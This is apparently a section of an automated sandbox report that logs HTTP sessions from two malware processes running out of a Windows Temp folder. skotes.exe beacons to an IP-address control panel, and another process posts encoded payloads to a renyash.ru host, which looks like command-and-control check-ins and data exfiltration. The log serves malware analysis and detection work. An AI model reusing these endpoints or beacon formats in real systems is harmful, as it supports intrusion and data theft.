58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	50226	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:19.171338081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:20.507143021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	50227	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:19.804073095 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:20.152715921 CET	1060	OUT	Data Raw: 58 51 43 52 5c 5a 51 58 5d 5a 59 53 57 5f 5a 50 5a 55 5f 55 51 5a 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XQCR\ZQX]ZYSW_ZPZU_UQZRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#<*R== '#<X0>?#:3.'?;$2"==Z77;>"F"#Y 4
Dec 16, 2024 13:18:20.892983913 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:21.132635117 CET	802	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F4Rue6rAVuqCN4Xi%2B36%2FK0zOGsLrHDhzM89w1j1fe16Y7XyCh4xPZc%2FFPMYZ54zZ2UQMsUpCHXGJ6ec%2FbU1Tfy6MYtXMBV4F8BHsr0XHOTWvduENASNv19OfZCzWK8kQBfZer4u5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9d8f9bb572b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8736&min_rtt=1873&rtt_var=14430&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=25711&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a Data Ascii: 4<R@X
Dec 16, 2024 13:18:21.325015068 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	50236	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:21.949002028 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:22.306762934 CET	1060	OUT	Data Raw: 5d 51 46 50 5c 5f 54 53 5d 5a 59 53 57 5f 5a 55 5a 50 5f 5c 51 5d 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]QFP\_TS]ZYSW_ZUZP_\Q]RCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(=>?Y%# Y3<#;,:(/V&"")>)[#\=8"F"#Y 4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	50237	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:22.186619997 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:23.538885117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	50239	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:22.772989035 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1916 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:23.134798050 CET	1916	OUT	Data Raw: 58 56 43 52 59 50 54 53 5d 5a 59 53 57 53 5a 5f 5a 57 5f 5a 51 5a 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XVCRYPTS]ZYSWSZ_ZW_ZQZRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#)/.)+0;%> #:$,4+(/P%T=)>)7#\8"F"#Y
Dec 16, 2024 13:18:23.863058090 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:24.114063978 CET	953	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wngW%2FU0t38oZGV7CBE3Xy21oMohr9PUrqfaqVM1eLCXhRN%2BIwncQw0OnwwMawwnEG7MpPMmdVrAxeixpa4JWoIYslFheSaYsB4kQi0CKbQjnf%2FXFV8uPQGCKLfNRAML6F7QdSfft"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9da22fa94289-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5163&min_rtt=2364&rtt_var=6486&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2259&delivery_rate=58961&cwnd=149&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 55 30 04 2a 11 21 2d 27 19 3e 01 0e 54 33 0d 39 5e 3b 11 0a 0a 26 1d 31 04 25 0c 2e 01 31 1d 2c 05 23 57 34 55 24 1f 2f 0d 31 27 23 5d 01 1b 24 1a 27 58 2d 06 28 3c 2a 1e 27 23 2d 19 26 10 15 06 31 1a 06 11 32 33 20 0d 35 06 22 13 2c 54 3e 59 3c 3c 23 58 2c 30 3d 10 20 2e 21 52 0d 13 21 09 24 16 3a 13 24 0f 2b 5b 20 33 2f 10 22 1a 3b 1a 33 2c 3f 53 26 03 24 59 25 3c 22 5b 32 3b 3f 16 2a 16 3e 57 37 32 34 57 2a 2e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 989U0!-'>T39^;&1%.1,#W4U$/1'#]$'X-(<'#-&123 5",T>Y<<#X,0= .!R!$:$+[ 3/";3,?S&$Y%<"[2;?>W724W. R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	50241	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:22.912952900 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:23.273294926 CET	1060	OUT	Data Raw: 58 5a 43 56 59 5e 51 5a 5d 5a 59 53 57 59 5a 53 5a 54 5f 5c 51 5e 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XZCVY^QZ]ZYSWYZSZT_\Q^RIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (&?-3?3#Z )(X9*?;+P&==_4 (("F"#Y ,
Dec 16, 2024 13:18:24.000046968 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:24.235516071 CET	809	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xKSLzIxFJgoP5Q8TbgYgViGHUX1DNDjVCcxr5U2P54XcMCJ0eH0EoWNZXrY7%2BuKVVrkLM8tiM3DA%2B9hKUzimrOr4r529%2FMKQYpsUm7sZE%2B8WCOBz4eb2PQUmzAkLK6Xu2%2Fb6K9NM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9da308574241-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2866&min_rtt=1561&rtt_var=3197&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=121585&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	50247	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:24.544821024 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:24.901779890 CET	1060	OUT	Data Raw: 5d 51 43 50 5c 58 54 5a 5d 5a 59 53 57 5c 5a 57 5a 57 5f 58 51 52 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]QCP\XTZ]ZYSW\ZWZW_XQRRHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _+?1-8$ 4'[7_ 9?9((+/V%!]7$<*("F"#Y
Dec 16, 2024 13:18:25.629883051 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:25.875343084 CET	805	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QS%2F5CEffESh7JDH%2BL%2FDTgfFVK0bjd4Qza9ESfEZOZaZ1Ks%2F3l7gp%2BKDWNmlQ5CCUvZjZpleW6m11YJp25YlW%2BIjujeCwDEBo0BNpO1EMoStD6aFwLmzmGRJ4Ci0iDF9aBFzxB3B5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9dad3fc919cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4587&min_rtt=1996&rtt_var=5931&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=64235&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a Data Ascii: 4<R@X
Dec 16, 2024 13:18:26.066978931 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	50250	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:25.281382084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:26.644967079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	50270	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:26.509932995 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:26.869604111 CET	1060	OUT	Data Raw: 5d 57 43 53 59 50 51 5f 5d 5a 59 53 57 52 5a 57 5a 5e 5f 59 51 52 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]WCSYPQ_]ZYSWRZWZ^_YQRRAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [?Y>>>000<Y3=+[#:Y.;??P$!->>:7;Y(("F"#Y
Dec 16, 2024 13:18:27.597103119 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:28.039125919 CET	800	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WqSOnsV4x2Q0P4JGZa4A3G3Dtdv4cWRfO8ooR2JRjJhS67hFO9vl1k4za3U7YG22hj5zPrh27Y94rxsxYjDq%2B7u6XEwyAj4kbGNaAbkGRQDoSHbSVLxhTWt9e6z3IpkManeUhlKV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9db98ae417a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4434&min_rtt=1652&rtt_var=6183&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=61064&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0
Dec 16, 2024 13:18:28.243803978 CET	800	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WqSOnsV4x2Q0P4JGZa4A3G3Dtdv4cWRfO8ooR2JRjJhS67hFO9vl1k4za3U7YG22hj5zPrh27Y94rxsxYjDq%2B7u6XEwyAj4kbGNaAbkGRQDoSHbSVLxhTWt9e6z3IpkManeUhlKV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9db98ae417a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4434&min_rtt=1652&rtt_var=6183&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=61064&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	50277	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:28.281579971 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:29.628181934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	50278	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:28.291918993 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:28.653140068 CET	1060	OUT	Data Raw: 5d 56 43 56 59 5f 54 58 5d 5a 59 53 57 5a 5a 52 5a 56 5f 5f 51 5a 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]VCVY_TX]ZYSWZZRZV__QZRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(S>/33$? :8)+'R%"(=9\77*8"F"#Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	50282	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:29.288911104 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1916 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:29.649621010 CET	1916	OUT	Data Raw: 58 56 43 54 59 50 54 59 5d 5a 59 53 57 5c 5a 51 5a 50 5f 5b 51 53 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XVCTYPTY]ZYSW\ZQZP_[QSRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (>=#$ \00 4X9^+/$29=>540(8"F"#Y
Dec 16, 2024 13:18:30.378863096 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:30.611718893 CET	959	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CVuJmlxe3o7bR7aupRNKelLdDm%2FRGawRo%2F5lb6LUzZ7GPm9lZMJiylhQbWIObuoo9AKUkBHDb%2B9d8PuN%2B3VaThFzG5NWT7hvfeNP1P4KclgSPhOfCp4%2Fe%2FshPO6w8zLNbu0dL4RY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9dcaefda7285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6942&min_rtt=4444&rtt_var=6663&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2259&delivery_rate=59762&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 09 30 3d 36 58 23 10 09 14 29 3f 2f 0e 33 0d 0b 15 2c 3c 2f 1d 26 55 22 11 31 0c 0f 13 26 1d 3b 19 23 22 34 12 30 22 2c 1f 26 37 23 5d 01 1b 27 06 24 2d 2d 01 3c 2c 25 01 30 1e 35 1f 26 3d 34 18 27 27 2b 0a 25 33 38 0b 22 16 04 59 2c 31 39 01 3f 3c 30 05 39 23 32 02 34 3e 21 52 0d 13 21 09 24 16 2a 58 26 21 23 1f 34 0a 3f 59 21 1a 01 51 30 5a 3b 19 25 2a 05 00 25 3f 3d 06 26 06 30 04 3d 28 32 1d 23 32 3f 0e 3c 14 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:0=6X#)?/3,</&U"1&;#"40",&7#]'$--<,%05&=4''+%38"Y,19?<09#24>!R!$X&!#4?Y!Q0Z;%%?=&0=(2#2?< R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	50283	172.67.220.198	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:29.433748007 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
